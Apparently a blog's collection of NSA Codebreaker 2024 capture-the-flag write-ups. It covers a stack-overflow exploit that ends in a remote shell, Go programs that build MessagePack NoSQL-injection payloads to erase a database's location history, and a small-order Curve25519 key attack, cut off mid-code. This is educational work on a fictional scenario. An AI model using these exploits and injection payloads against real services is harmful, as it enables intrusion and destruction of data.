One thing to notice is that, there is no null terminator (0x00) along s_280 until 7FFE917D2990. Meaning to say, the address of __libc_csu_init will be printed as well due to the unsafe code used by the developer (challenge creator):

printf(
    "\n"
    "[%sSir Alaric%s]: So, to sum things up: \n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n"
    "\t[Name]: %s\n"
    "\t[Reason to join]: %s\n"
    "\t[Age]: %ld\n"
    "\t[Specialty]: %s\n"
    "\n"
    "+------------------------------------------------------------------------+\n"
    "\n",
    "\x1B[1;33m",
    "\x1B[1;34m",
    (const char *)s,
    (const char *)s + 16,
    *((_QWORD *)s + 34),
    (const char *)s + 280);

They used printf without checking the memory first for safe bounds reading. The printf will stop at the first null terminator. That is why the address of __libc_csu_init will be included on the output.
We just catch the leak via:

        elf_leak = int.from_bytes(newRecvall(p)[0x2da:0x2e0], byteorder='little')
        log.info(b'elf_leak: ')
        log.info(hex(elf_leak))

        elf.address = elf_leak - elf.symbols['__libc_csu_init']
        log.info(b'elf.address: ')
        log.info(hex(elf.address))

        contract_addr = elf.address + 0x1343
        log.info(b'contract_addr: ')
        log.info(hex(contract_addr))

In the above code, we can see the leak, then we just compute the leak minus the __libc_csu_init to compute for the base of the program. Once we got the program’s base, we could compute the address of the gadget that was included in the binary:

Overwriting the stack

    printf("\n1. Name      2. Reason\n3. Age       4. Specialty\n\n> ");
    __isoc99_scanf("%d", &v5);
    if ( v5 == 4 )
    {
      printf("\n%s[%sSir Alaric%s]: And what are you good at: ", "\x1B[1;34m", "\x1B[1;33m", "\x1B[1;34m");
      for ( i = 0; (unsigned int)i <= 0xFF; ++i )
      {
        read(0, &safe_buffer, 1uLL);
        if ( safe_buffer == 10 )
          break;
        *((_BYTE *)s + i + 280) = safe_buffer;
      }
      ++v6;
    }

The vulnerability lies here. Notice that we can write up to 0xFF amount of bytes. Meaning to say, we can overwrite the canary, the return address, and some other stored values in stack. BUT, we don’t have information regarding the canary, so we need to get around with it.

In theory, we can write the values all of here:

We can write the value of the pointer_to_s (7FFE917D2998) to choose a location to write to.
However, it would be hard to execute this as the s would needed to recomputed for each bytes.
Also, notice that since we are in ASLR, the address do change every instance of the application.

So what we are doing is to overwrite the pointer_to_s (7FFE917D2998) by 1 byte. It may repoint up or down from original pointer. Basically, we will be bruteforcing the overwrite and hoping that it would successfully point to the return address when recomputed for the next overwrite. Also, we want to set the v5 and v6 to 0xFFFFFFFF as it would indicate as -1 in integer value, keeping the loop on-going because we still need to write to the return address.

        newSend(p, b'4')
        newRecvuntilAndSend(p, b'And what are you good at:', 
            ((b'D'*0x10) + 
            p64(elf_leak) + 
            b'\xff\xff\xff\xff' + 
            b'\xff\xff\xff\xff' + 
            b'\x60\x0a'), 
            newline=False
        )

        pause()

Here we can see that we keep the elf_leak in its place, two 0xFFFFFFFF for the v5 and v6 respectively. And for the pointer_to_s, we are blindly replacing the 1 byte of it as 0x60.

However, for this specific instance, the pointer_to_s did not changed, thus making the exploit not to work.

In theory, if we manage the pointer_to_s set the value to 7FFE917D28A0 (s+40) and not 7FFE917D2860, then this exploit should work. Again, we are bruteforcing this 1 byte and hoping that an instance would magically give as an address that meets our condition.

For the purpose of this demo, I’ll manually point this to the desired address:

So now our computation is as follows:
7FFE917D28A0 (s) + 280, then it will point to 7FFE917D29B8.

        newRecvuntilAndSend(p, b'>', b'4')

        pause()

        newRecvuntilAndSend(p, b'And what are you good at:', 
            (p64(contract_addr) + 
            p64(contract_addr) +
            b'\x0a'), 
            newline=False
        )

        pause()

Upon the execution of the above code, we are now able to write to the return address without touching the canary.

We now then let the application end normally so that it would exit the main and jump to contract.

        newRecvuntilAndSend(p, b'I suppose everything is correct now?', b'Yes')
        pause()

        newRecvall(p)
        pause()

        newSend(p, b'whoami')
        pause()

        resp = newRecvall(p)
        if b'root' in resp or b'ctf' in resp or b'kali' in resp or len(resp) > 0:
            p.interactive()

Outro

[NSA2024] Task 7 – Location (un)compromised – (Vulnerability Research, Exploitation, Reverse Engineering)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

So the DNS server is an encrypted tunnel. The working hypothesis is the firmware modifications leak the GPS location of each JCTV to the APT infrastructure via DNS requests. The GA team has been hard at work reverse engineering the modified firmware and ran an offline simulation to collect the DNS requests.

The server receiving this data is accessible and hosted on a platform Cyber Command can legally target. You remember Faruq graduated from Navy ROTC and is now working at Cyber Command in a Cyber National Mission Team. His team has been authorized to target the server, but they don’t have an exploit that will accomplish the task.

Fortunately, you already have experience finding vulnerabilities and this final Co-op tour is in the NSA Vulnerability Research Center where you work with a team of expert Capabilities Development Specialists. Help NSA find a vulnerability that can be used to lessen the impact of this devastating breach! Don’t let DIRNSA down!

You have TWO outcomes to achieve with your exploit:

  1. All historic GPS coordinates for all JCTVs must be overwritten or removed.
  2. After your exploit completes, the APT cannot store the new location of any hacked JCTVs.

The scope and scale of the operation that was uncovered suggests that all hacked JCTVs have been leaking their locations for some time. Luckily, no new JCTVs should be compromised before the upcoming Cyber Command operation.

Cyber Command has created a custom exploit framework for this operation. You can use the prototype “thrower.py” to test your exploit locally.

Submit an exploit program (the input file for the thrower) that can be used immediately by Cyber Command.

Downloads

prototype exploit thrower (thrower.py)

Prompt

exploit program used by thrower.py

Solution

So I’ll skip the boring forensics part.

Upon inspecting the microservice binary, it seems like it’s a packed binary. Upon further investigation, it seems like it is a Deno application. A deno app is a nodejs wrapped with rust to make it a standalone application. This is evident, based on the last few bytes of the binary, d3n0l4nd.

Based on this discussion, we are somewhat getting the hint that we can extract the core source code of the nodejs application. We also learned some important details on how to extract the source.

import struct

# Define the binary file name
binary_file = 'microservice'  # Replace with your binary file name

# Given data in hex strings
magic_signature_hex = '64 33 6e 30 6c 34 6e 64'
eszip_pos_hex = '00 00 00 00 04 fa ba 30'
metadata_pos_hex = '00 00 00 00 05 00 92 79'
null_pos_hex = '00 00 00 00 05 00 99 1d'
signature_pos_hex = '00 00 00 00 05 01 f4 6e'

# Convert hex strings to bytes
def hex_str_to_bytes(hex_str):
    return bytes.fromhex(hex_str.replace(' ', ''))

magic_signature = hex_str_to_bytes(magic_signature_hex)
eszip_pos_bytes = hex_str_to_bytes(eszip_pos_hex)
metadata_pos_bytes = hex_str_to_bytes(metadata_pos_hex)
null_pos_bytes = hex_str_to_bytes(null_pos_hex)
signature_pos_bytes = hex_str_to_bytes(signature_pos_hex)

# Convert big-endian bytes to integers
def be_bytes_to_int(b):
    return int.from_bytes(b, byteorder='big')

eszip_pos = be_bytes_to_int(eszip_pos_bytes)
metadata_pos = be_bytes_to_int(metadata_pos_bytes)
null_pos = be_bytes_to_int(null_pos_bytes)
signature_pos = be_bytes_to_int(signature_pos_bytes)

# Calculate sizes
eszip_size = metadata_pos - eszip_pos
metadata_size = null_pos - metadata_pos
signature_size = 8  # The magic signature is 8 bytes

print(f"ESZIP position: {eszip_pos}")
print(f"Metadata position: {metadata_pos}")
print(f"Null position: {null_pos}")
print(f"Signature position: {signature_pos}")

print(f"ESZIP size: {eszip_size} bytes")
print(f"Metadata size: {metadata_size} bytes")

# Read the binary file and extract the data
with open(binary_file, 'rb') as f:
    # Extract ESZIP archive
    f.seek(eszip_pos)
    eszip_data = f.read(eszip_size)
    with open('eszip_archive', 'wb') as eszip_file:
        eszip_file.write(eszip_data)
    print("ESZIP archive extracted to 'eszip_archive'.")

    # Extract metadata JSON
    f.seek(metadata_pos)
    metadata_data = f.read(metadata_size)
    with open('metadata.json', 'wb') as metadata_file:
        metadata_file.write(metadata_data)
    print("Metadata extracted to 'metadata.json'.")

    # Extract the magic signature
    f.seek(signature_pos)
    signature_data = f.read(signature_size)
    print(f"Signature data: {signature_data}")

    # Verify the signature
    if signature_data == magic_signature:
        print("Magic signature verified: d3n0l4nd")
    else:
        print("Magic signature does not match.")

    # Optionally, extract the last 40 bytes (footer)
    f.seek(-40, 2)  # 2 means relative to file end
    footer_data = f.read(40)
    with open('binary_footer', 'wb') as footer_file:
        footer_file.write(footer_data)
    print("Binary footer extracted to 'binary_footer'.")

Now, we need to extract the eszip_archive.

We can use this https://github.com/denoland/eszip to extract the archive.

Now we have these beautiful source code. But we still need to parse the huge text file to rebuild the original structure.

import os

def create_files_from_log(log_file):
    with open(log_file, 'r') as f:
        content = f.read()

    # Split the content into entries separated by '==========='
    entries = content.strip().split('===========\n')
    for entry in entries:
        entry = entry.strip()
        if not entry:
            continue  # Skip empty entries

        lines = entry.split('\n')
        if len(lines) < 4:
            print('Error: Incomplete entry detected.')
            continue

        # Parse Specifier
        specifier_line = lines[0]
        if not specifier_line.startswith('Specifier: '):
            print('Error: Specifier not found in entry.')
            continue
        specifier = specifier_line[len('Specifier: '):].strip()

        # Parse Kind
        kind_line = lines[1]
        if not kind_line.startswith('Kind: '):
            print('Error: Kind not found in entry.')
            continue
        kind = kind_line[len('Kind: '):].strip()

        # Find content between '---' separators
        try:
            first_sep_idx = lines.index('---')
            second_sep_idx = lines.index('---', first_sep_idx + 1)
            content_lines = lines[first_sep_idx + 1:second_sep_idx]
            content_text = '\n'.join(content_lines)
        except ValueError:
            print('Error: Content separators not found in entry.')
            continue

        # Process the specifier to create the folder path
        if specifier.startswith('http://') or specifier.startswith('https://'):
            specifier = specifier.split('://', 1)[1]
        path_parts = specifier.strip('/').split('/')
        file_path = os.path.join(*path_parts)

        # Ensure the directory exists
        dir_path = os.path.dirname(file_path)
        if dir_path and not os.path.exists(dir_path):
            os.makedirs(dir_path)

        # Write the content to the file
        with open(file_path, 'w', encoding='utf-8') as f_out:
            f_out.write(content_text)

        print(f'Created file: {file_path}')

# Replace 'log.txt' with the path to your log file
create_files_from_log('eszip_archive.txt')

We should now be able to see a structure looks like these:

However, this is not enough. We still need to localize these. You can see in the source code that there are still Deno reserved keywords, which will not be interpreted properly in raw nodejs application.

After modifications, here what the source looks like: https://github.com/mlesterdampios/nsa_codebreaker_2024/tree/main/solutions/task7/deno_localized

It’s now time to run it locally. Btw, I chose to run the mongo server on windows host. I can’t get the mongo server work on ubuntu and kali vm. Maybe it is because due to some AVX2 opcode that wasn’t allowed to run due to some virtualization settings.

HOORAY! WE MANAGED TO RUN A LOCALIZED VERSION OF THE microservice.

Solution, Part 2

Understanding the application

The application uses 2 collection: the location_events, where new location beacon of hijacked devices has been stored temporarily, and the location_history, where the events has been processed and aggregated.

The application has aggregateLocationEvents() function where it process the location_events and and move the events to location_history.

Our goal is to meet these 2 criteria:

  1. All historic GPS coordinates for all JCTVs must be overwritten or removed.
  2. After your exploit completes, the APT cannot store the new location of any hacked JCTVs.

Lets gather some facts.

  1. It’s a nodejs application and mongodb.
  2. The application uses msgpack-lite communication
  3. There are checks in place to validate the msgpack bytes
assert(buffer[0] == 0x84) // must be object with 4 keys (v, t, d, m);
assert(buffer[1] == 0xA1 && buffer[2] == 0x76) // first key is 'v';
assert(buffer[3] == 0xA8 && buffer[4] == 0x65) // vids are 8 character strings starting with e

Based on the context clues, we need to do NoSQL injection to successfully manipulate the data.

1st Vulnerability: key-value overwrite

The checks validate if the v key exists and matches the expected pattern. But, we can overwrite the v value with malicious one by redeclaring it. The tactic for this to work still needs exact number of object to pass the first check, and since m isn’t checked properly, it can be replaced by malicious v. This information is needed in our second exploit payload.

2nd Vulnerability: No type validation

Improper t checking. No type validation for t, so we can plainly insert malicious value.

The following solutions will be in bytes form. We cannot use the msgpack libraries as we cannot properly build our exploit payload by using them. Here is a definition of msgpack bytes that can help us build the payload from scratch: https://github.com/msgpack/msgpack/blob/master/spec.md

I will explain a little bit more about these payloads later. But for now, here are our exploit payloads.

{
"v": "e0000000",
"t": {"$exists":true},
"d": 0,
"m": 0
}
package main

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log"
	"net/http"
    "strconv"
)

// Helper function to assert conditions and log failures
func assert(condition bool, message string) {
	if !condition {
		log.Fatalf("Assertion failed: %s", message)
	}
}

func main() {
	var buffer bytes.Buffer

	// 1. Write the map header with 4 key-value pairs
	// 0x84 indicates a map with 4 key-value pairs
	buffer.WriteByte(0x84)

	// 2. Write the first key-value pair: "v": "e0000000"
	// Key: "v"
	buffer.WriteByte(0xA1)         // FixStr with length 1
	buffer.WriteByte(0x76)         // 'v'

	// Value: "e0000000"
	buffer.WriteByte(0xA8)         // FixStr with length 8
	buffer.WriteString("e0000000") // 8-byte string starting with 'e'

	// 3. Write the second key-value pair: t: { $exists: true },
	// Key: "t"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x74) // 't'

	buffer.WriteByte(0x81) // map with 1 element

	buffer.WriteByte(0xA7) // $exists
	buffer.WriteByte(0x24) //
	buffer.WriteByte(0x65) //
	buffer.WriteByte(0x78) //
	buffer.WriteByte(0x69) //
	buffer.WriteByte(0x73) //
	buffer.WriteByte(0x74) //
	buffer.WriteByte(0x73) //

	buffer.WriteByte(0xC3) // true

	// 4. Write the third key-value pair: "d": 0
	// Key: "d"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x64) // 'd'

	buffer.WriteByte(0xd2) // 32 bit signed int32
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //

	// 5. Write the fourth key-value pair: "m": 0
	// Key: "m"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x6d) // 'm'

	buffer.WriteByte(0xd2) // 32 bit signed int32
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //

	// At this point, buffer contains the complete MessagePack data
	serializedData := buffer.Bytes()

	// Display the serialized data in hexadecimal
	fmt.Printf("Serialized MessagePack Data: %x\n", serializedData)

	// Perform Fast Checks
	performFastChecks(serializedData)

    // Set the URL of your server endpoint
    url := "http://localhost:3000/event/insert"

    // Create a new HTTP POST request with the byte array as the body
    req, err := http.NewRequest("POST", url, bytes.NewReader(serializedData))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }

    // Set the Content-Type header to application/msgpack
    req.Header.Set("Content-Type", "application/msgpack")
    req.Header.Set("Content-Length", strconv.Itoa(len(serializedData)))

    // Send the request using the default HTTP client
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    // Check the response status
    if resp.StatusCode == http.StatusOK {
        fmt.Println("Malicious event inserted successfully")
    } else {
        fmt.Printf("Error inserting event: %s\n", resp.Status)
    }
}

// performFastChecks performs the specified fast checks on the serialized data
func performFastChecks(data []byte) {
	// Ensure the data has at least 5 bytes for the initial checks
	if len(data) < 5 {
		log.Fatalf("Serialized data is too short: %x", data)
	}

	// Check 1: First byte should be 0x84 (Map with 4 key-value pairs)
	assert(data[0] == 0x84, "First byte check failed: expected 0x84 for a map with 4 key-value pairs")

	fmt.Println("First byte check passed: 0x84")

	// Check 2: First key is 'v' (0xA1 0x76)
	assert(data[1] == 0xA1 && data[2] == 0x76, "First key is not 'v'")

	fmt.Println("First key check passed: 'v'")

	// Check 3: First value (for 'v') is an 8-character string starting with 'e' (0xA8 0x65)
	assert(data[3] == 0xA8 && data[4] == 0x65, "VID check failed: expected an 8-character string starting with 'e'")

	fmt.Println("VID check passed: 8-character string starting with 'e'")

	// Additional checks can be added here as needed
}
{
"v": "e0000000",
"t": "z",
"d": 0,
"v": {"$exists":true}
}
package main

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"log"
	"net/http"
    "strconv"
)

// Helper function to assert conditions and log failures
func assert(condition bool, message string) {
	if !condition {
		log.Fatalf("Assertion failed: %s", message)
	}
}

func main() {
	var buffer bytes.Buffer

	// 1. Write the map header with 4 key-value pairs
	// 0x84 indicates a map with 4 key-value pairs
	buffer.WriteByte(0x84)

	// 2. Write the first key-value pair: "v": "e0000000"
	// Key: "v"
	buffer.WriteByte(0xA1)         // FixStr with length 1
	buffer.WriteByte(0x76)         // 'v'

	// Value: "e0000000"
	buffer.WriteByte(0xA8)         // FixStr with length 8
	buffer.WriteString("e0000000") // 8-byte string starting with 'e'

	// 3. Write the second key-value pair: t: v
	// Key: "t"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x74) // 't'

	buffer.WriteByte(0xA1)
	buffer.WriteByte(0x7a) // 'z'

	// 4. Write the third key-value pair: "d": 0
	// Key: "d"
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x64) // 'd'

	buffer.WriteByte(0xd2) // 32 bit signed int32
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //
	buffer.WriteByte(0x00) //

	// 5. Write the fourth key-value pair: v: { $exists: true }
	// Key: "v" (duplicate)
	buffer.WriteByte(0xA1) // FixStr with length 1
	buffer.WriteByte(0x76) // 'v'

	buffer.WriteByte(0x81) // map with 1 element

	buffer.WriteByte(0xA7) // $exists
	buffer.WriteByte(0x24) //
	buffer.WriteByte(0x65) //
	buffer.WriteByte(0x78) //
	buffer.WriteByte(0x69) //
	buffer.WriteByte(0x73) //
	buffer.WriteByte(0x74) //
	buffer.WriteByte(0x73) //

	buffer.WriteByte(0xC3) // true

	// At this point, buffer contains the complete MessagePack data
	serializedData := buffer.Bytes()

	// Display the serialized data in hexadecimal
	fmt.Printf("Serialized MessagePack Data: %x\n", serializedData)

	// Perform Fast Checks
	performFastChecks(serializedData)

    // Set the URL of your server endpoint
    url := "http://localhost:3000/event/insert"

    // Create a new HTTP POST request with the byte array as the body
    req, err := http.NewRequest("POST", url, bytes.NewReader(serializedData))
    if err != nil {
        fmt.Println("Error creating request:", err)
        return
    }

    // Set the Content-Type header to application/msgpack
    req.Header.Set("Content-Type", "application/msgpack")
    req.Header.Set("Content-Length", strconv.Itoa(len(serializedData)))

    // Send the request using the default HTTP client
    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("Error sending request:", err)
        return
    }
    defer resp.Body.Close()

    // Check the response status
    if resp.StatusCode == http.StatusOK {
        fmt.Println("Malicious event inserted successfully")
    } else {
        fmt.Printf("Error inserting event: %s\n", resp.Status)
    }
}

// performFastChecks performs the specified fast checks on the serialized data
func performFastChecks(data []byte) {
	// Ensure the data has at least 5 bytes for the initial checks
	if len(data) < 5 {
		log.Fatalf("Serialized data is too short: %x", data)
	}

	// Check 1: First byte should be 0x84 (Map with 4 key-value pairs)
	assert(data[0] == 0x84, "First byte check failed: expected 0x84 for a map with 4 key-value pairs")

	fmt.Println("First byte check passed: 0x84")

	// Check 2: First key is 'v' (0xA1 0x76)
	assert(data[1] == 0xA1 && data[2] == 0x76, "First key is not 'v'")

	fmt.Println("First key check passed: 'v'")

	// Check 3: First value (for 'v') is an 8-character string starting with 'e' (0xA8 0x65)
	assert(data[3] == 0xA8 && data[4] == 0x65, "VID check failed: expected an 8-character string starting with 'e'")

	fmt.Println("VID check passed: 8-character string starting with 'e'")

	// Additional checks can be added here as needed
}

Here’s the step by step process and explanation and what happens with the application.

Upon starting, here’s what we should see.

There are also mock data that I had set so we can check if our exploits work.

We now send our 1st payload.

We can now see, our payload is on location_events

Wait a few minutes, when the aggregateLocationEvents() happened, it will move the data to location_history.

Since e0000000 isn’t yet existing in the location_history then it just stores our payload as shown above.

Next, we now deliver the 2nd payload.

After waiting again for aggregateLocationEvents(), it will now overwrite all existing data in the location_history.

The first last_history_selector contains the vid payload from the 2nd payload. Therefore, it will select all available history in the location_history collection, sorted by endtime and getting the first result. The result is the previously inserted payload, the 1st payload. Therefore, since we got the previous payload, the endtime will also be influenced. Hence, the criteria for the bulk.find(last_history_selector) looks like this:

{
"vid": {"$exists": true},
"endtime": {"$exists": true}
}

It will update all document in the collection that has a property of vid and endtime regardless of the types, as long as the keys exists.

Therefore, we now meet the first objective: All historic GPS coordinates for all JCTVs must be overwritten or removed.

But what about the second? Remember that in 2nd payload, we set the t to z value. In javascript, there is a weird behavior that when you compare the timestamp to a string, it will always be false.

Therefore, in this line, it will always be evaluated to false. Future events won’t be saved to location_history.

Thus, meeting the 2 goals!

Verification

So now, we want to test proper workflow. We start the binaries as needed.

We also have a modification of the dns_builder from Task 6. We need 2 of it for the two exploits.
https://raw.githubusercontent.com/mlesterdampios/nsa_codebreaker_2024/refs/heads/main/solutions/task7/exploit_sender1.go
https://raw.githubusercontent.com/mlesterdampios/nsa_codebreaker_2024/refs/heads/main/solutions/task7/exploit_sender2.go

The answer box for Task 7, requires a program for thrower.py that was attached in the Downloads section. Basically, its just an automation tool with compute budget.

We won’t dive into it, but here’s a sample answer for the Task 7. which can be executed by thrower.py

sleep 10000
resolve "x0000000000000000000000000000000000000000000000000208sv9747koru.x0u3ehm9ed00ah2i0tgsmj2s6afbc03u258kgb4p7lbnepba81kvf9go1okp46u.xdtnh2b2go5b3cczzzzzzxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.net-jl7s7rd2"
sleep 350000
resolve "x0000000000000000000000000000000000000000000000000208sv9747koru.x0u3ehm9ed00a1f91lh9v7lqr9s77btkvcco5n2aj5i39os118uq0ml50sn7s23.x3l2ql6d94zzzxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.net-jl7s7rd2"
sleep 350000

Epilogue

As a student of the SANS Technology Institute, I stand in awe of the National Security Agency’s unparalleled ability to craft challenges that redefine the limits of cybersecurity expertise. The culmination of the NSA Codebreaker 2024—a grueling 90-day competition marked by sleepless nights, relentless problem-solving, and moments of hard-wonе clarity—has left me with profound gratitude and a renewed sense of purpose. To the NSA, thank you for designing a competition that doesn’t just simulate real-world threats but embodies them, demanding not just technical skill but ingenuity, adaptability, and unyielding perseverance. To finish among the few who conquer this gauntlet is a privilege I will never take for granted.

This year’s challenges were a testament to the NSA’s mastery of adversarial thinking. The competition honed my reverse-engineering skills to a razor’s edge, requiring me to dissect intricate binaries, decode obfuscated algorithms, and uncover vulnerabilities buried deep within systems designed to defy analysis. Tasks often blurred the line between offense and defense: decrypting custom protocols, analyzing stealthy network behaviors, and reconstructing fragmented data streams to expose hidden payloads. While Go programming surfaced in critical moments—such as interpreting language-specific quirks in compiled binaries or optimizing solutions for concurrency-heavy problems—the broader focus was on versatility. I learned to pivot between tools, languages, and methodologies, reinforcing that cybersecurity is less about mastery of a single domain and more about the agility to thrive in ambiguity.

As a SANS student, I carried forward the institute’s ethos of rigorous, hands-on learning. The competition’s challenges mirrored the real-world scenarios SANS prepares us for, and I leaned heavily on the foundational skills cultivated through my coursework. Yet, Codebreaker 2024 pushed me further, demanding creative applications of those principles under time constraints and pressure. The synergy between my academic training and NSA’s cutting-edge challenges was transformative, bridging theory and practice in ways I could never have anticipated.

Completing the final task felt like solving a grand puzzle where every piece represented months of accumulated knowledge. The competition didn’t just test my abilities—it reshaped my mindset. I now approach problems with a forensic patience, a hacker’s curiosity, and the confidence to trust my instincts even when the path isn’t clear.

To future participants: Embrace the chaos. The NSA’s challenges will push you to your limits, but the resilience you gain is eternal. And to the National Security Agency—thank you for creating a proving ground that doesn’t just identify talent but forges warriors of cybersecurity. This experience has redefined what I believe I’m capable of, and I will carry its lessons into every challenge ahead.

To the Codebreakers—past, present, and future—the journey is arduous, but the reward is a version of yourself you never knew existed. And to SANS Technology Institute, thank you for equipping me with the tools to rise to this moment. The sleepless nights? A small price for the pride of saying, “I finished.”

Here’s to the next mission. 🚩

[NSA2024] Task 6 – It’s always DNS – (Reverse Engineering, Cryptography, Vulnerability Research, Exploitation)

Disclaimer

This blog post is a part of NSA Codebreaker 2024 writeup.

The challenge content is a PURELY FICTIONAL SCENARIO created by the NSA for EDUCATIONAL PURPOSES only. The mention and use of any actual products, tools, and techniques are similarly contrived for the sake of the challenge alone, and do not represent the intent of any company, product owner, or standards body.

Any similarities to real persons, entities, or events is coincidental.

Synopsis

The recovered data indicates the APT is using a DNS server as a part of their operation. The triage team easily got the server running but it seems to reply to every request with errors.

You decide to review past SIGINT reporting on the APT. Why might the APT be targeting the Guardian Armaments JCTV firmware developers? Reporting suggests the APT has a history of procuring information including the location and movement of military personnel.

Just then, your boss forwards you the latest status update from Barry at GA. They found code modifications which suggest additional DNS packets are being sent via the satellite modem. Those packets probably have location data encoded in them and would be sent to the APT.

This has serious implications for national security! GA is already working on a patch for the firmware, but the infected version has been deployed for months on many vehicles.

The Director of the NSA (DIRNSA) will have to brief the President on an issue this important. DIRNSA will want options for how we can mitigate the damage.

If you can figure out how the DNS server really works maybe we will have a chance of disrupting the operation.

Find an example of a domain name (ie. foo.example.com.) that the DNS server will handle and respond with NOERROR and at least 1 answer.

Prompt

Enter a domain name which results in a NOERROR response. It should end with a ‘.’ (period)

Solution

So basically, we start from where we left off at task 5. We recovered 3 files from task 5.

I skip most of the boring forensics part, and I will just go straightforward explaining things.

We will also ignore microservice for now as it will be the focus on Task 7.

Based from the decomplication and context clues, the coredns is built from this project: https://github.com/coredns/coredns

Basically, coredns is a lightweight dns server where you can customize and build features on top of it.

We also saw contents of Corefile

.:1053 {
  acl {
    allow type A
    filter
  }
  view firewall {
    expr type() == 'A' && name() matches '^x[^.]{62}\\.x[^.]{62}\\.x[^.]{62}\\.net-jl7s7rd2\\.example\\.com\\.$'
  }
  log
  cache 3600
  errors
  frontend
}

Again, based on context clues, this somehow indicates that this is a communication / exfiltration server over DNS.

I want to thank IDA as it is really great in function naming.

Further research somehow suggest that this might be NOISE PROTOCOL based on function names.
However, I am struggling to find the specific pattern of this protocol until I saw this…

Noise_K_25519_ChaChaPoly_BLAKE2s

During my research, I was able to find this: https://noiseexplorer.com/patterns/K/. Suddenly, we are able to see a clear source code which the binary was probably built from.

Upon digging more in the binary, we are able to learn that there are hard coded keys.

In the initializeResponder, we setup breakpoint in the 2nd mixHash call so we can check the passed arguments, which we can find the initiator’s public key.

And the 3rd mixHash will contain the public key and the private key of responder.

This one is the responder private key:

var responderPrivateKey = [32]byte{
	0xD3, 0xDA, 0x9E, 0x41, 0xB9, 
	0x75, 0x55, 0x35, 0xAE, 0x62, 
	0x12, 0x37, 0xEC, 0x7C, 0x2B, 
	0x77, 0x0D, 0xA0, 0x4A, 0x83, 
	0x4A, 0xE6, 0x59, 0xF5, 0x80, 
	0xB0, 0x99, 0x3B, 0x2C, 0xB1, 
	0x69, 0xDD,
}

This one is the initiator public key:

var initiatorPublicKey = [32]byte{
	0xB6, 0xB0, 0x1E, 0x07, 0xB1, 
	0xD4, 0xB1, 0x1E, 0x71, 0xA6, 
	0x37, 0x6C, 0xE5, 0xEA, 0x49, 
	0x55, 0xFF, 0x70, 0x3D, 0xF0, 
	0xFE, 0x9E, 0xC4, 0xB7, 0x3E, 
	0xDB, 0xB4, 0xA0, 0xE2, 0x64, 
	0x46, 0x09,
}

So, what’s with the Noise K, initiator, and responder?
Basically, K is a pattern that is a one way.
Initiator is the one who will create a message, and responder (server) is the receiver.
But in our case, the server, do not directly communicate back with the initiator.

Based on the context clues, the compromised devices that beacon to this server do have their own private and public key. We can see in the server’s binary that it expects from specific public key.
The compromised devices also have the server’s public key in them to successfully craft a valid message.

So to recap:

  1. We got the server’s (responder) private key and based from that, we can deduce the public key.
  2. We also got the client’s (initiator) public key but no private key.

Idea#1

Bruteforce the 128-bit private key.
I did made CUDA bruteforcer, but based on projection, it will take another universe’ big bag before it finish as I do not have quantum computer in my closet.

Idea#2

Maybe the private key was baked in the binary and/or previous binaries provided.
nah.

So what?

Okay, so I’ve totally run out of ideas. I was examining the noise source code, and something really catches my attention. It is the forbiddenCurveValues.

I spent a lot of time researching what the heck are the weakness of the curves, specifically, 25519.

Until I found out this: https://www.iacr.org/archive/ches2011/69170143/69170143.pdf
And this: https://hacken.io/insights/secure-ecdh/
I won’t pretend that I fully understand all of text written in those researches.
But basically, we will be using small-order public key to carry out the attack. The small-order public key’s could reveal predictable results and possibly reconstruct the keys.

Here is the snippet of the exploit process.

/* ---------------------------------------------------------------- *
 * EXPLOIT IMPLEMENTATION                                           *
 * ---------------------------------------------------------------- */

func main() {
	// Known prologue (assuming empty for this example)
	prologue := []byte{}

	// Responder's public key (computed from private key)
	var responderPublicKey [32]byte
	curve25519.ScalarBaseMult(&responderPublicKey, &responderPrivateKey)
	responderPrivateKeyHex := hex.EncodeToString(responderPrivateKey[:])
	fmt.Println("responderPrivateKey (hex):", responderPrivateKeyHex, "\n")
	responderPublicKeyHex := hex.EncodeToString(responderPublicKey[:])
	fmt.Println("responderPublicKey (hex):", responderPublicKeyHex, "\n")

	initiatorPublicKeyHex := hex.EncodeToString(initiatorPublicKey[:])
	fmt.Println("initiatorPublicKey (hex):", initiatorPublicKeyHex, "\n")

	// Initialize symmetric state as responder
	name := []byte("Noise_K_25519_ChaChaPoly_BLAKE2s")
	ss := initializeSymmetric(name)
	mixHash(&ss, prologue)
	mixHash(&ss, initiatorPublicKey[:])
	mixHash(&ss, responderPublicKey[:])

	// Simulate responder's processing of the message

	// hs.re is the small order point we send
	hsRe := smallOrderPublicKey

	hsReHex := hex.EncodeToString(hsRe[:])
	fmt.Println("hsRe (hex):", hsReHex, "\n")

	mixHash(&ss, hsRe[:])

	// Compute dh(hs.s.privateKey, hs.re)
	dh1 := dh(responderPrivateKey, hsRe)

	dh1Hex := hex.EncodeToString(dh1[:])
	fmt.Println("dh1 (hex):", dh1Hex, "\n")

	// MixKey with dh1
	mixKey(&ss, dh1)

	// Compute dh(hs.s.privateKey, hs.rs)
	dh2 := dh(responderPrivateKey, initiatorPublicKey)

